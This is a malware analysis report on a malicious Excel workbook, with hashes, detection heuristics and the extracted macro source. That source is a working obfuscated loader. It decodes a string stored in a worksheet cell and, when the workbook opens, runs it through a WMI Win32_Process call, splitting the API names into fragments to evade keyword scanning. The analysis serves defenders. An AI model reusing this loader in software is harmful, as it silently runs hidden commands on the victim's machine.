Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d2926061ecba8ca8…

MALICIOUS

Office (OOXML)

14.9 KB Created: 2020-08-14 01:00:35 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 30b5d04c5c917a81e39ed4600969b3bc SHA-1: 602e4107ac7a9597d3fafbe39139ade9629044a7 SHA-256: d2926061ecba8ca8328db14567d70f9f3c07fc87b00ca90869ee57493295a486
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains both VBA and Excel 4.0 macros. The VBA macros utilize a Workbook_Open event and the GetObject function to execute arbitrary code, specifically by launching a process via WMI. The Excel 4.0 macrosheet further indicates a multi-faceted approach to code execution. The obfuscated VBA script attempts to reassemble the string 'winmgmts' to facilitate WMI calls.

Heuristics 8

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3312 bytes
SHA-256: 2bbb9813d4667f176cd92986b19283ef7425a2e8c2f4f5908dd2f4322b7df0e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BuÇalismaKitabi"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit





                                                





              





                                                                            Private Sub Ariosto(ByVal Unthinkingly As String)






                                                        




             Dim Lemuria As Long: Dim InvIgoratIon() As Byte





                 







                                                                    





                   







            GoTo UnderstUdy





Plutonian:
Hematocryal StrConv(InvIgoratIon, 64, 1055)







                






               Exit Sub






Lothario:







                  For Lemuria = 0 To UBound(InvIgoratIon)
InvIgoratIon(Lemuria) = Abs(InvIgoratIon(Lemuria) - 6)
Next
GoTo Plutonian







                                                            Exit Sub





                                                                        




UnderstUdy:








                                                                    






                                            




          InvIgoratIon = StrConv(Unthinkingly, 128, 1055)





                                        






                                        




                GoTo Lothario





               Exit Sub






                                                                        End Sub





                                                        Sub Workbook_Open()

Call Busses







                                                                            End Sub







                                                                            Private Sub Busses()





               Dim Unthinkingly As String: Unthinkingly = Sheets("c1cca71962e5a48").Cells(134, 8).Value







                                        




          Ariosto Unthinkingly
End Sub
Private Sub Hematocryal(ByVal Overeye As String)







                   







                                                    Dim SnowmaSt As String: SnowmaSt = "."








                                                                    If Overeye <> "" Then






             





            




                                                    




                                            GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & SnowmaSt & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create Overeye, Null, Null, 0
Else
MsgBox "Promted usr764 ."






                 GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0





          End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12800 bytes
SHA-256: af253be64f366b635a11b1f6d1c2c7121f95c3be4281d17fe5db4a31f525e4b8
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1199 bytes
SHA-256: 0e0b1c83156e0713f599d681e891d291cce2804e8d207e2c37e81a60422a9e65
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B9CF56FF-09E2-4E96-AE17-1B9837A59CDA}"><dimension ref="H134"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="134" spans="8:8" x14ac:dyDescent="0.25"><c r="H134" t="s"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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